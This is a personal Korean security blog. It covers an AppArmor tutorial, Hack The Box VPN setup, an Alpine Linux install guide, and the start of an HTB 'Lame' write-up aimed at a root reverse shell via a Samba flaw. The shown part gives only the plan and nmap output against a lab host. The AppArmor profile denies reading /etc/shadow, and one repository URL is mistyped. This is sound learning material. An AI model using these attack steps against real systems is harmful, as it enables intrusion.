1. 블로그 소개 📌

제 블로그는 정보 보안, 리눅스 시스템 실습, 서버 보안 관련 정보 등을 정리하고 공유하기 위해 운영하고 있습니다.
직접 실습하고 체험한 내용을 기반으로 글을 작성하며, 같은 분야를 공부하는 분들께도 작은 도움이나마 되기를 바랍니다. 
비록 졸면서 공부했던 날도 있지만... 꾸준히 업데이트할 예정입니다 ! (깃허브는 추후에 추가할 예정입니다 ^^;;

2. 개인정보 처리 방침 🔒

이 블로그는 Google의 애드센스를 활용하여 광고를 게재합니다.
Google 및 제3자 광고 제공업체는 쿠키를 통해 사용자 맞춤 광고를 제공합니다.
사용자는 Google 광고 설정에서 맞춤 광고를 사용하지 않도록 설정할 수 있습니다.
이 블로그는 사용자로부터 이름, 이메일 등 개인정보를 수집하지 않습니다.

3. 문의하기 ✉️

✨ 현재 애드센스 심사 중이며, 꾸준히 보안/리눅스 관련 실습 글을 업데이트 중입니다.
필요한 내용이나 질문은 언제든지 댓글이나 이메일로 주세요 :)

📮 kwjsk103@naver.com

'Sygliph' 카테고리의 다른 글

뭐라도 해보자  (0) 2025.02.16

1. 개요 

AppArmor는 리눅스에서 특정 프로그램이 어떤 파일이나 기능에 접근할 수 있는지를 제어할 수 있는 MAC(강제 접근 통제) 기반 보안 모듈이다. 리눅스는 윈도우와 달리 실시간 백신이 기본 탑재되어 있지 않기 때문에, 시스템 파일이 변조되거나 악성코드에 침투당해도 명확한 경고 없이 조용히 동작하는 경우가 많다.

이로 인해 사용자가 침해 사실을 알아채지 못한 채 넘기는 일이 잦은데, AppArmor를 사용하면 관리자가 설정한 정책에 따라 root 권한을 가진 프로세스조차 제어할 수 있어 시스템을 보다 안전하게 운영할 수 있다.
이번 글에선 우분투에서 AppArmor 정책을 간단히 설정해보며, 그 동작 방식을 이해해보려고 작성했다.

2. AppArmor 특징

2-1. 경로 기반 프로파일 구조 (/etc/apparmor.d/)

  • AppArmor는 “AppArmor는 ‘프로세스 자체’가 아니라, 실행 파일의 경로를 기준으로 접근 권한을 제어하며, 동일한 실행 파일이라도 위치가 다르면 별도의 정책이 필요하다.
  • 예시로, /usr/bin/man 이라는 실행 파일에 정책을 걸면 이걸 실행하는 모든 프로세스가 제약을 받으나, 경로가 다르면 다른 프로그램으로 인식하여 완전히 방어하기엔 어려운 특징을 보인다.
  • /etc/apparmor.d/ : AppArmor가 자동으로 불러오는 디렉터리로, 프로파일이 이 곳에 저장된다.
  • /etc/apparmor.d/에 실행 파일 경로 기준의 프로파일을 저장하는데, 이때 경로를 / 대신 . 으로 바꾼 형식으로 저장한다.
    예를 들면, usr/sbin/apache2에 대한 정책 => usr.sbin.apache2 

2-2. 프로파일 구성 (r, w, x, deny 등)

#include <tunables/global>

profile /usr/bin/man {
# 이 파일은 읽기 허용
  /usr/bin/man r, 
  /etc/manpath.config r,
 # /tmp는 읽고 쓰기 허용
  /tmp/ rw,
 # /etc/shadow는 읽지 못하게 막는다
  deny /etc/shadow r,

  capability net_bind_service,
}

2-2-1. 프로파일 구성요소 설명

프로파일이란 특정 프로그램이 어떤 파일이나 디렉터리에 대해 읽기(r), 쓰기(w), 실행(x) 등의 권한을 가지는지 정의하는 설정 파일이다. 예를 들어, /usr/bin/man 프로그램에 대한 프로파일은 해당 프로그램이 접근할 수 있는 자원과 그 권한을 지정한다. 주요 구성 요소는 다음과 같다:

  • profile /경로 { ... } : 어떤 파일에 대한 정책인지 명시하는데, 여기선  /usr/bin/man 파일에 대한 정책을 알려준다
  • r, w, x : 읽기, 쓰기, 실행 권한
  • deny : 명시적으로 막는 것
  • capability : 시스템 기능 권한 부여 (예: 포트 바인딩)

2-2-2. 프로파일 작성 방법

먼저 수동 방법으로, 사용자가 직접 /etc/apparmor.d/ 폴더에 .profile 파일을 만든다. 자유도 높고 원하는 대로 세팅할 수 있다.

# 수동으로 작성 시
sudo nano /etc/apparmor.d/usr.bin.man

다음으로, aa-genprof 도구를 사용하여 프로파일을 자동으로 생성하는 방법이다. AppArmor가 실행 로그를 보면서 자동으로 프로파일을 만들어주는 도구로, 지정 프로그램을 감시하면서 허용할 지 말 지를 물어본 후 프로파일을 만들어준다. 전부 끝나면 /etc/apparmor.d/에 자동으로 저장된다.

sudo aa-genprof /usr/bin/man

다음으로 기본 프로파일 템플릿을 복사하는 방법이다. 우분투에는 일부 프로그램의 미리 준비된 기본 프로파일이 존재하는데, /etc/apparmor.d/disable/ 에 있으며, 여기 있는 걸 복사해서 쓸 수도 있다. 기본적으로 비활성화 상태인 프로파일들이 이 경로에 있으며, 필요할 경우 복사해서 활성화할 수 있다.

sudo cp /etc/apparmor.d/disable/usr.bin.man /etc/apparmor.d/usr.bin.man

2-2-2. 정책 적용 명령어

# usr/bin/man 파일에 정책을 강제 적용
sudo aa-enforce /etc/apparmor.d/usr.bin.man
# 정책을 위반했으나 차단은 안하고 로그만 남김
sudo aa-complain /etc/apparmor.d/usr.bin.man
# 정책 적용 안 함
sudo aa-disable /etc/apparmor.d/usr.bin.man
모드 설명
enforce 정책을 강제 적용함 (위반 시 차단)
complain 위반해도 차단 안 하고 로그만 남김
disable 정책 적용 안 함

3. 적용 대상 프로세스

모든 프로세스에 정책을 적용하면 시스템 사용에 불편이 생길 수 있으므로, 중요한 서비스에 우선적으로 적용하는 것이 좋다.

대상 이유
apache2/nginx (웹서버) 파일 업로드나 웹쉘 같은 공격이 들어와도, 웹서버가 접근할 수 있는 파일/디렉토리만 제한해두면, 공격자가 서버 내부 전체를 뒤지지 못하게 막을 수 있음
mysqld (MySQL DB) 루트 권한 없이도 DB 프로세스를 통해 민감한 데이터 추출을 시도할 수 있으므로 AppArmor로 DB가 접근 가능한 경로를 제한하면, 예를 들어 백업 파일 유출이나 비정상 파일 접근을 차단할 수 있음
sshd (원격 접속 데몬) ssh는 루트 권한과 연결된 핵심 통로로, 해커가 로그인에 성공하거나 ssh 취약점이 생기면 바로 시스템 뚫릴 수 있다. AppArmor로 sshd가 실행할 수 있는 범위를 제한하면, 루트쉘 획득 후에도 추가 행동을 제한할 수 있음
cron/at (예약 실행 서비스) 해커가 백도어나 자동 실행 스크립트를 심기 위해 cron을 악용하는 경우가 많음. AppArmor로 cron이 실행 가능한 스크립트 경로나 바이너리를 제한하면, 이상한 명령어가 자동 실행되는 걸 막을 수 있음
docker (컨테이너 엔진) 컨테이너가 호스트 시스템까지 침투하는 경우가 있어, AppArmor로 컨테이너마다 프로파일을 따로 적용하면, 호스트 파일 시스템이나 프로세스를 보호할 수 있음.
cupsd (프린터 데몬) 기업 환경에서는 네트워크 프린터가 내부 시스템 권한과 연결되어 공격 루트가 되기도 함. AppArmor로 이상한 프린터 접근이나 공유 파일 읽기 제한 가능.
bash / python / perl (스크립트 인터프리터) 해커들이 웹쉘이나 루트쉘로 들어올 때, 주로 bash나 python을 실행함. 여기에 AppArmor를 적용하면 쉘 획득 후에도 특정 경로나 명령 실행을 막을 수 있음

 

4. 실습 1 : 간단한 정책 만들어보기

  1. sudo aa-status로 현재 상태 확인
  2. /etc/apparmor.d/ 에 정책 파일 작성
  3. deny 룰로 제한 추가
  4. sudo apparmor_parser 으로 정책 반영
  5. sudo aa-enforce 로 강제 적용
  6. dmesg 나 /var/log/syslog 에서 차단 로그 확인
  7. 필요 시 aa-complain 으로 모드 전환

4-1. sudo aa-status로 현재 상태 확인

sudo aa-status

AppArmor가 지금 어떤 상태인지 출력하는 명령어로, 다음의 사항들을 확인할 수 있다.

  • AppArmor가 켜져 있는지
  • 몇 개의 프로세스에 정책을 적용 중인지
  • 적용된 정책과 모드 (enforce/complain)

4-2. /etc/apparmor.d/ 에 정책 파일 작성

sudo nano /etc/apparmor.d/usr.bin.man
#include <tunables/global>

profile /usr/bin/man {
  /usr/bin/man r,
  /etc/hostname r,
  deny /etc/shadow r,
}

AppArmor 가 이 프로그램은 어디까지 허용해줄지 정의하는 정책 파일을 작성하는 부분이다.
보통은 /etc/apparmor.d/ 경로에 저장하여 자동으로 실행되게끔 한다.

4-3. deny 룰로 제한 추가

deny /etc/shadow r,

AppArmor은 어디까지 허용할지를 중심으로 정책을 작성하게 되지만, 명시적으로 deny를 앞에 적을 경우, 절대 이건 하지 말라는 강한 의미의 설정이 된다. 예를 들어 위의 코드는 /etc/shadow을 절대 읽지 못하게 명시적으로 막아버린단 의미가 된다,

4-4. sudo apparmor_parser 으로 정책 반영

sudo apparmor_parser -r /etc/apparmor.d/usr.bin.man

정책 파일을 작성한 후에는 해당 정책을 커널에 로드하여야 실제로 적용된다. 이를 위해 apparmor_parser 명령어를 사용한다.

4-5. sudo aa-enforce 로 강제 적용

sudo aa-enforce /etc/apparmor.d/usr.bin.man

정책 파일은 작성한 것만으로는 적용되지 않으며, 커널에 반영되도록 명령어를 통해 로드해야 한다. 이를 위해 apparmor_parser 명령어를 사용한다.

 

4-6. dmesg 나 /var/log/syslog 에서 차단 로그 확인

/usr/bin/man의 정책을 실행해서 AppArmor가 진짜 차단했는지 확인하는 단계이다.

# 정책 위반을 위해 실행 시도
man ls
# 만약 오류가 나거나, 내부적으로 shadow 접근이 있었을 경우 확인
# AppArmor DENIED 메시지가 실제로 찍히면 정책이 적용돼서 차단되었다는 뜻임
dmesg | grep DENIED
sudo journalctl | grep apparmor

4-7. 필요 시 aa-complain 으로 모드 전환

sudo aa-comlplain /etc/apparmor.d/usr.bin.man

enforce 모드가 부담될 경우 일단 로그만 남기는 모드로 바꿀 수 있다. complain 모드는 enforce모드와 달리 정책 위반 시 차단하지 않고, 로그만 출력한다.

5. 마무리

AppArmor는 모든 걸 완벽하게 막아주는 방패는 아니지만, 기초적인 보호막이 되어줄 수 있다. 웹서버나 DB처럼 외부에 노출되는 주요 서비스부터 하나씩 적용해보는 것만으로도 실질적인 보안 효과를 얻을 수 있다고 생각한다.

[대표사진] HTB 머신 연결 선택

1. 개요

Hack The Box를 푸는 방법은 Pwnbox와 OpenVpn 두가지가 있는데, 이 중 OpenVpn으로 하려면 리눅스가 먼저 세팅되어 있어야 한다. 반면 Pwnbox의 경우 HTB에서 지원해주는 가상머신으로, Parrot Linux를 기반으로 하는데 터미널이 더 편한 필자는 OpenVpn을 선택해서 하게 되었다.

우선, HTB에 가입은 되어있다는 전제 하에 진행할 것임으로, 회원가입이 되어 있지 않다면 미리 해두는 걸 추천한다

 

Hack The Box: The #1 Cybersecurity Performance Center

HTB is the leading Cybersecurity Performance Center for advanced frontline teams to aspiring security professionals & students. Start driving peak cyber performance.

www.hackthebox.com

 

2. 설정 환경 상세 (25년 4월 기준)

가상머신 사용 OS 터미널
Vmworkstation 17 Kali Linux MobaXterm SSH 터미널

2-1. Vmware workstation 다운로드 (가입 필수)

우선 필자는 워크스테이션을 기준으로 하지만 Oracle VirtualBox, vmware 등 사용하는 가상머신에 따라 진행하면 된다.

 

Fusion and Workstation | VMware

VMware Workstation and VMware Fusion desktop hypervisors are the industry leaders in local virtualization. Learn how VMware’s local virtualization solutions provide an easier way to build, test and deliver any app for any device or cloud.

www.vmware.com

2-2. Kali Linux 다운로드

Burp suite, Metasploit, nmap 등 강력한 툴들이 구비된 리눅스로, 어지간하면 본 컴퓨터에 따로 설치할 필요 없이 사용할 수 있다.

 

Get Kali | Kali Linux

Home of Kali Linux, an Advanced Penetration Testing Linux distribution used for Penetration Testing, Ethical Hacking and network security assessments.

www.kali.org

2-3. MobaXterm 다운로드

여기선 Home Edition 버전으로 설치하는 것만으로도 충분하다.

 

MobaXterm free Xserver and tabbed SSH client for Windows

The ultimate toolbox for remote computing - includes X server, enhanced SSH client and much more!

mobaxterm.mobatek.net

 

3. 환경 세팅

3-1. 칼리 리눅스 설치

우선 Virtual Machines로 선택하고 다운로드한 후, File > Open > kali-linux-vmware-amd64.vmx 를 선택한다

[사진 1,2,3] 칼리 리눅스 설치 과정

설치한 후, 칼리 리눅스를 실행하여 다음의 명령어를 입력해서 칼리 리눅스 IP, ssh 서버, apt 업데이트를 확인한다.

# eth0 inet 확인
ifconfig
# apt update 
sudo apt-get update
# ssh 설치
sudo apt-get install ssh
# ssh 서버 시작
sudo service ssh start
# ssh 서버 상태 확인
sudo service ssh status

[사진 4,5,6ㄴ] 워크스테이션에 설치된 kali, apt update, ssh 서버 확인

 

3-2. MobaXterm 설정

나는 이미 본 컴퓨터에 설치해두었기 때문에 설치과정은 생략한다. 다운받을 땐 홈 에디션으로 하면 된다. 
다음으로, Xterm을 실행했다면 Session > SSH > Remote host 입력 (칼리에서 확인한 eth0 ip) > username 입력 > Port 번호 22번 순으로 입력하면 사진 8번처럼 터미널에 진입할 수 있다.

[사진 5,6,7,8] MobaXterm 다운로드 및 세팅, 성공 시 결과

3-3. VPN 연결

3-2 단계까지 성공했다면 다시 HTB로 돌아와서 Connect to HTB > Machines > TCP 443 (UDP 골라도 됨) > Download vpn 순으로 진행한다. 완료되면 .ovpn 파일을 받을 수 있는데, Xterm에 나와있는 Kali 경로에 드래그 해서 복사해둔다.

[사진 9,10] kali에 ovpn 파일 복사


다음으로, 터미널에서 다음과 같이 입력한다. 참고로 핑을 보낼 대상은 현재 풀어볼 머신의 IP에서 확인할 수 있다. 이게 되면 문제 풀기 시작하면 된다. 이를테면 nmap으로 머신 IP를 스캔하는 등등.

cd /home/kali/Desktop
pwd
# vpn 연결
sudo openvpn <yourvpnfile>.ovpn
# 머신에 ping 보내기
ping 10.10.x.x

[사진 11,12] HTB Vpn 연결 완료 시 출력 결과
[사진 13,14] 머신의 IP와 ping 신호 보내기

 

3-4. 참고사항

3-3까지 문제없이 되었다면, 이제 문제를 풀기만 하면 된다. 하단의 링크는 이전에 Lame이라는 HTB 문제를 풀이한 것으로, 어떻게 해야할 지 방향 정도는 잡을 수 있다고 생각하여 첨부해놓는다. 

 

[HTB] Lame 풀이

1. 개요이 문제는 익명으로 접근 가능한 SMB에서 usermap script 취약점을 통해 root 권한의 리버스 쉘을 따내는 것을 목표로 한다. 날짜 : 2025/04/05키워드 : explore_smb_usermap사용환경사용 OS터미널 환경사

sigilyph103.tistory.com

 

'컴퓨터 > HTB' 카테고리의 다른 글

[HTB] Lame 풀이  (0) 2025.04.06

[대표사진] 생선 뼈

1. 개요

Alpine Linux는 필수 요소만 남겨놓고 뼈대만 남은 초경량 리눅스로, 메모리와 저장공간을 최소로 사용하도록 설계되어 있어 빠른 부팅과 자유도 높은 커스터마이징을 제공한다.
우분투, 데비안, 칼리처럼 기본 툴도 없는 상태지만 필요한 요소들을 직접 붙여나가는 과정에서 리눅스 환경에 대한 깊은 이해를 할 수 있다고 생각하며 진행하게 되었다.(말은 이래도 생선뼈만 남은 거나 다름없다)

2. 설치 환경 상세 (25년 4월 기준)

사용 가상머신 리눅스 버전
Vmware Workstation Pro 17 alpine-extended-3.18.0-X86_64

Vmware workstation Pro가 깔려져 있단 전제 하에 진행하려고 한다. 혹시라도 깔려져 있지 않다면 미리 설치해두고 다시 보는 걸 추천한다. 여기엔 링크만 남겨둔다.

2-1. Vmware workstation 다운로드 (가입 필수)

 

Fusion and Workstation | VMware

VMware Workstation and VMware Fusion desktop hypervisors are the industry leaders in local virtualization. Learn how VMware’s local virtualization solutions provide an easier way to build, test and deliver any app for any device or cloud.

www.vmware.com

 

2-2. Alpine Linux 이미지 다운로드

25년 4월 기준으로 최신 ISO(v3.21)에서는 미러 연결과 DNS 문제가 반복되는 바람에 v3.18 ISO로 다운그레이드하여  재설치한다. 설치하는 방법은 현재 3번 방법 그대로 해도 된다.
이 글에서 설치하는 버전은 alpine-extended-3.18.0-x86 64.iso 이다.
이 버전을 고른 기준은 다음의 세가지였다. 

1. 날짜도 적당히 최신 (2023-11-30)
2. 안정 버전이라 미러 오류도 적고, 설치 중 DNS도 잘 먹음
3. extended 버전은 설치 시 필요한 패키지들이 많이 포함되어 있음 → grub, dosfstools, syslinux 같은 거 잘 설치됨

** 혹시 몰라 디렉터리가 나와서 놀랄 분들을 위해 **
Alpine Linux 구버전(v3.18)의 공식 ISO 파일은 아래 링크에서 받을 수 있다. 공식 CDN에서 제공하는 경로이며, 실습 시 가볍고 빠르게 설치할 수 있는 버전이라 링크를 남겨두었다.

 

Index of /alpine/v3.18/releases/x86_64/

 

dl-cdn.alpinelinux.org

[사진 0] alpine 구버전 다운로드

3. alpine 리눅스 설치 방법

3-1. 워크스테이션에서  새 가상머신을 추가한다.

Typical 클릭 > I will install the operating system later 클릭 > Next

[사진 1,2,3] 워크스테이션 가상머신 추가 1단계


Linux 선택 > Other Linux 6.x kernel 64-bit 선택 > 가상 머신 이름 및 저장 경로 지정 > 디스크 사이즈 설정

[사진 4,5,6] 워크스테이션 가상머신 추가 2단계


Customize Hardware.. > Memory 설정 (여기선 1GB로 해둠) > New CD/DVD 클릭 > Browse > 다운 받은 이미지 선택

[사진 7,8,9] 워크스테이션 가상머신 추가 3단계


이미지 파일을 워크스테이션에 올리는 것까지 완료되면 사진 11처럼 터미널이 뜨게 된다.

[사진 10,11] 워크스테이션에 알파인 리눅스 추가된 상태

4. alpine setup 

[짤]

생각보다 설정하는 절차가 길다. 인내심을 가지고 하면 된다.

  1. 관리자 로그인 후, setup-alpine 진입
  2. 키보드 레이아웃 설정
  3. 호스트 이름 및 네트워크 인터페이스 설정
  4. 패스워드 및 타임존 설정
  5. Proxy 설정
  6. 시간 동기화(=NTP 클라이언트) 설정
  7. APK 패키지 설치용 미러 서버 설정
  8. 사용자 계정 설정 및 ssh 서버 설정
  9. 설치할 디스크 포맷 및 마운트 (최신 버전은 오류 주의)

4-1. 관리자 로그인 후, setup-alpine 진입

3단계에서 리눅스를 워크스테이션에 올리는 것까지 완성했다면, 이번엔 상세설정을 할 차례이다. 일단 root로 로그인한 후 셋업창으로 진입해야 한다.

# root로 로그인
>> localhost login: root
# setup창 진입
>> You can setup the system with the command : setup-alpine

[사진 12] root로 로그인한 상태

4-2. 키보드 레이아웃 설정

우선 필자는 영어가 더 익숙하니까 us를 입력해주고 엔터했다. 만약 kr로 진행할 거라면 다음처럼 입력하면 된다.

>> Select Keyboard layout [none]: kr
Available varients: kr-kr104 kr
>> Select varient []: kr-kr104

[사진 13] 키보드 레이아웃 설정

4-3. 호스트 이름 및 네트워크 인터페이스 설정

호스트 이름을 뭘로 할까 했는데 개요에서 생선뼈를 얘기했으니 fishbone으로 하겠다. 

[사진 14] 호스트 이름 설정
[사진 15] 네트워크 인터페이스 설정

엔터치면 네트워크 인터페이스 설정단계로, 인터넷을 쓸 거냐, 아님 어떤 네트워크 장치를 쓸 거냐 물어보는 단계다.
VM에서의 기본 값은 eth0이니 엔터치고 넘어간다.

입력 상세설명
(그냥 엔터) eth0 사용 (인터넷 자동 연결)
none 네트워크 비활성화
done 이 설정은 건너뜀
? 옵션 도움말 보기

다음으로 ip address for eth0? 이라고 DHCP로 자동 설정할지 수동으로 IP를 넣을지 물어보는 거다. 그냥 엔터치면 된다

입력 상세설명
(그냥 엔터) DHCP 자동 설정 (보통 VM 환경에선 이걸로 충분하다)
none IP 설정 안 함 (인터넷 끊긴 환경 만들 때 사용하면 됨)
manual 수동 설정 모드 진입 (IP, netmask 등 직접 입력해야 된다) 

그 다음으로 Do you want to do any manual network configuration? (y/n)이 나오는데, 네트워크 설정은 다 끝냈는데 추가로 뭔가 수동으로 설정할 거 있는지 물어보는 거다. 이것도 그냥 엔터치자

입력 상세설명
(그냥 엔터 또는 n) 네트워크 자동 설정 완료 > 다음 단계로 진행
y 수동으로 IP, DNS 등 설정할 수 있다 (지금은 필요없음)

4-4. 패스워드 및 타임존 설정

비밀번호 설정 단계다. 이전에 리눅스를 다뤄봤다면 하던대로 비밀번호 설정하면 된다.

[사진 16] 비밀번호 설정

그 다음으로 타임존 설정인데 안타깝게도 서울은 안보이니 OS에서 설정해준대로 UTC를 사용하겠다. 다른 걸로 쓰고 싶다면 목록에 나와있는 것 중 하나 골라서 입력해주면 된다.

[사진 17] Timezone 설정

4-5. Proxy 설정

다음으론 인터넷 연결할 때 프록시 서버를 거쳐서 할 건지 물어보는 단계다. 난 그냥 엔터치겠다.
만약 내부망이나 보안망 환경이라서 프록시가 필수일 경우엔 주소를 입력해주면 된다.

[사진 18] 프록시 설정

입력 상세설명
(그냥 엔터) 프록시 없이 직접 인터넷 연결
http://127.0.0.1:8080 로컬 프록시 사용 (예: burp suite 같은 툴 연동할 경우)
none 명시적으로 "프록시 없음" 입력 (사실상 엔터랑 같음)

4-6.시간 동기화(=NTP 클라이언트) 설정

간단히 얘기하자면, 시계 맞추는 프로그램 뭐 쓸 거냐고 물어보는 거다. 필자는 정확도와 안정성이 무난한 chrony를 선택했다(그냥 엔터쳤다는 말)

[사진 19] NTP 클라이언트 설정

옵션 상세설명
chrony 안정적이고 정확함. 서버/클라이언트 겸용
openntpd 가볍고 간단한 버전, 그러나 정확도는 chrony보다 낮다
busybox 가장 가볍다. 초경량 환경에서 단순히 시간만 맞추는 용도
none 아예 안 씀 (시간 동기화는 수동으로 해야 함)

4-7. APK 패키지 설치용 미러 서버 설정

다음은 APK 패키지 설치용 미러 서버 설정으로, 어디 서버에서 패키지 받을 건지 결정하는 거다. 알파인 리눅스의 apt-get update 설정인 셈. 여기선 f 눌렀다 (다운받느라 시간이 좀 걸렸다. 커피 한 잔 마시면 된다)

[사진 20,21] 구버전 기준 미러 서버 설정

옵션 상세설명
f 가장 빠른 미러 자동 선택 (권장)
s 미러리스트 출력 (직접 선택 가능)
r 무작위 미러 사용 (불안정할 수 있음)
e /etc/apk/repositories 직접 수정
c community repository 추가 (추가 패키지 가능, 나중에 해도 됨)
skip APK 설정 안 함 (패키지 설치 안함. 거의 안 씀)
  • 필요한 경우 community repo는 echo 명령으로 다음의 명령어를 입력하면 된다.
echo "https://d1-cdn.alpinelinux.org/aplpine/edge/community" >> /etc/apk/repositories

4-8. 사용자 계정 설정 및 ssh 서버 설정

다음으로. 사용자 계정을 만들지 말지 묻고 있는데, 현재는 만들어봤자 sudo도 직접 설치하고 설정해야하는 번거로움이 있으므로 그냥 엔터치고 끝냈다. 이후에 필요할 경우 adduser 명령어로 만들면 된다.

[사진 21] 계정 및 ssh 서버 설정

Which ssh server?는 어떤 원격 서버를 쓸 지 물어보는 단계로 그냥 엔터치면 된다.

옵션 상세설명
openssh (기본) 안정적, 기능 풍부, 보편적 ssh 서버
dropbear 초경량 SSH 서버 (용량 아끼고 싶으면 사용)
none SSH 안 씀 (로컬 접속만 할 거면 가능하지만 불편)

Allow root SSH login?은 원격 접속을 허용할 건지 물어보는 단계로, 보안적으로 민감한 부분이니 만약 일반 사용자 계정을 만들었다면 이 부분은 막을 필요가 있다.

상황 상세설명
보안 신경 쓰는 실 서버 no (루트 계정은 원격접속을 차단)
지금처럼 실험용 VM, root 계정만 있음 yes (루트 로그인 막으면 접속 자체가 불가능)

Enter ssh key or url for root는 SSH로 root 접속할 거면 공개키 등록할 건지 물어보는 단계로, 비밀번호 말고 키 인증을 쓰고 싶으면 공개키를 입력하면 된다. 그러나 여기도 엔터를 누르고 넘어가겠다.

상황 상세설명
실험용, root 로그인 허용 시 (그냥 엔터)
공개키 인증으로만 접속하고 싶을 경우 키 붙여넣기
공개키 파일이 깃허브에 있을 경우  URL 입력 (예: https://github.com/yourName.keys)

 

4-9. 설치할 디스크 포맷 및 마운트 (최신 버전은 오류 주의)

대망의 마지막이다. 개인적으론 여기서 오류가 났지만 일단 적어보겠다. 일단 가장 먼저 설치할 디스크를 고르라고 물어보니 sda를 입력해주겠다. 만약 중요한 자료가 있는 곳일 경우 포맷될 수도 있으니 주의.

[사진 22,23] 설치 디스크 설정

다음으로, 어떤 방식으로 디스크를 포맷하고 마운트할지 물어보고 있다. 여기선 sys를 입력하면 된다. 

옵션 상세설명
sys 디스크에 완전 설치 (일반적, OS 부팅 가능)
data 라이브 OS + 데이터 저장 (usb 용도)
crypt 암호화된 디스크로 설치 (보안 테스트 용도)
lvm LVM 볼륨 매니저 사용 (복잡한 디스크 나눔)
? 도움말 보기

24번 사진처럼 뜨면 y를 누른 후 reboot 입력하여 재부팅하면 25번 사진처럼 설치 완료된 리눅스로 진입할 수 있다.

[사진 24,25] alpine 리눅스가 성공적으로 설치된 결과

 

5. 최신 버전 오류 원인 분석

4-9. 설치할 디스크 포맷 및 마운트 부분에서 sys 모드로 설치하려다 오류가 발생하였다. 원인은 설치하려는 부트로더(syslinux) 패키지를 찾지 못해서 실패했다고 한다. 따라서 원인해결을 위해 해본 것을 정리해보면 다음과 같다.

[사진 26,27] sys 모드 설치 실패 / 최신버전

5-1. /etc/apk/repositories 수정 시도

기본으로 잡혀있는 레포지토리가 죽었거나 오래된 경우로 인해, DNS 불가 / "No such file", 403 Forbidden 문제가 나타난 것이라고 생각하여 다음과 같이 수정하게 되었다. 하지만 이것만 문제는 아니었는지 다른 문제들도 복합적으로 나타났다.

vi /etc/apk/repositories
# vi에서 이 주소를 추가한 후 저장
>> https://d1-cdn.alpinelinux.org/alpine/edge/main

5-2. DNS loockup error 출력

네트워크 연결은 됐지만, 도메인 이름을 IP로 못 바꾸고 있는 상황이 되었다. 즉, 인터넷이 있는 것처럼 보여도 DNS 설정이 되지 않아 다운로드가 제대로 안되는 상황이었다.

[사진 28] dns lookup error 출력

5-3. DNS 수동 설정 후 다시 apk update 시도

vi /etc/resolv.conf
#Google DNS 추가 후 저장
nameserver 8.8.8.8
nameserver 1.1.1.1

apk update
apk add syslinux

이 과정으로 다시 진행해봤지만 그래도 오류는 사라지지 않았다. ping은 문제없이 보내지는 걸 확인한 후, 네트워크는 문제가 없는 상황이지만 DNS에서 문제가 계속 유지되고 있다는 걸 알게 되었다.

[사진 29] 정상적으로 보내지는 패킷, ping 명령어 사용

5-4. 공식 CDN으로 미러 서버 수동 고정 시도

해당 주소들은 공식 CDN으로, 안전한 미러 서버를 수동으로 고정해두고 다시 시도해봤지만 되지 않았다. 따라서 구버전(v3.18)으로 다시 설치하게 되었고 현재 글이 최신 버전으로 작성되지 않은 이유이다.

vi /etc/apk/repositories 
# 다음의 링크들을 입력한 후 저장
https://dl-cdn.alpinelinux.org/alpine/latest-stable/main
https://dl-cdn.alpinelinux.org/alpine/latest-stable/community

apk update
apk add syslinux

5-5. 종합적인 실패 원인

gpt에서 다음 문제사항에 대해 알아본 결과, 단순한 미러서버 문제가 아니라 레포지터리 설정 + DNS + 패키지 의존성 3종이 꼬여버렸다고 한다. 
즉, 최신 Alpine은 외부 네트워크에 의존성이 강하기 때문에 DNS 하나만 막혀도 설치 과정이 줄줄이 실패하는 원인이 된다는 것이다.

상세하게 풀면 다음과 같다.

  • resolv.conf 초기화 문제
    • setup-alpine 도중 최신 ISO는 /etc/resolv.conf를 자동으로 덮어쓴다
    • 따라서 DNS를 수동을 설정해놔도 사라지는 현상이 나타난다
  • 미러 서버 구조 변경
    • 최신 Alpine의 미러 서버에서 버전별 디렉터리 구조가 바뀌었거나 일부 미러가 죽었을 수도 있다.
    • 이 때문에 lastest-stable 라우팅이 꼬여버려서 apk update가 실패하게 되는 원인 중 하나라고 생각하게 되었다.
  • 부트로더 설치 시 패키지 외부 의존도 증가
    • 최신 Alpine은 grub, syslinux, dosfstools 등을 설치할 경우, 즉시 외부 미러서버에서 받아와야 한다.
    • 여기서 DNS 혹은 미러에 연결을 실패하면 설치 자체가 끊겨버려 오류를 출력하게 된다.
    • 구버전은 최신 버전과 달리 ISO 내부에 필수 패키지들이 포함되어 있어 인터넷이 없는 상황에서도 설치가 진행되었다. 

이와 달리 구버전(v3.18)은 설치 시 필요한 패키지를 내장하고 있기 때문에 네트워크에 문제가 생겨도 설치에 문제가 생기지 않아 sys 모드 설치에 성공했고, 재부팅까지 완료되었다.

[대표사진] Lame 머신 형태

1. 개요

이 문제는 익명으로 접근 가능한 SMB에서 usermap script 취약점을 통해 root 권한의 리버스 쉘을 따내는 것을 목표로 한다. 

  • 날짜 : 2025/04/05
  • 키워드 : explore_smb_usermap
  • 사용환경
사용 OS 터미널 환경 사용 머신
Kali Linux MobaXterm Hack The Box Lame

2. 단계별 풀이

이 문제를 풀기 위한 절차를 나열하면 다음과 같다.

  1. 서비스 식별
  2. 취약점 탐색
  3. FTP/SMB 접속 시도
  4. 취약한 버전 확인
  5. Metasploit 세팅
  6. 리버스 쉘 획득
  7. 권한 확인 및 루트 쉘 확보
  8. 플래그 확보

2-1. Nmap 스캔

모든 열린 포트 + 서비스 버전 + 기본 스크립트 분석 결과를 출력하는 명령어로, 여기서 어떤 취약점으로 접근할지 방향을 잡을 수 있다.

nmap -sC -sV -v -oN lame_scan.txt 10.10.10.3
  • -sC : 기본 스크립트 실행
  • -sV : 서비스 버전 식별
  • -oN : 검사 결과를 텍스트 파일에 저장하는 출력 형식 플래그
  • 10.10.10.3 : 해당 머신 IP

2-2. 머신 스캔 결과

┌~(ali㉿kali)-[~] 
└─$ nmap -sC -sV -v -oN lame_scan.txt 10.10.10.3
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-04 11:13 EDT
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 11:13
Completed NSE at 11:13, 0.00s elapsed
Initiating NSE at 11:13
Completed NSE at 11:13, 0.00s elapsed
Initiating NSE at 11:13
Completed NSE at 11:13, 0.00s elapsed
Initiating Ping Scan at 11:13
Scanning 10.10.10.3 [4 ports]
Completed Ping Scan at 11:13, 0.30s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 11:13
Completed Parallel DNS resolution of 1 host. at 11:13, 0.01s elapsed
Initiating SYN Stealth Scan at 11:13
Scanning 10.10.10.3 [1000 ports]
Discovered open port 22/tcp on 10.10.10.3
Discovered open port 445/tcp on 10.10.10.3
Discovered open port 139/tcp on 10.10.10.3
Discovered open port 21/tcp on 10.10.10.3
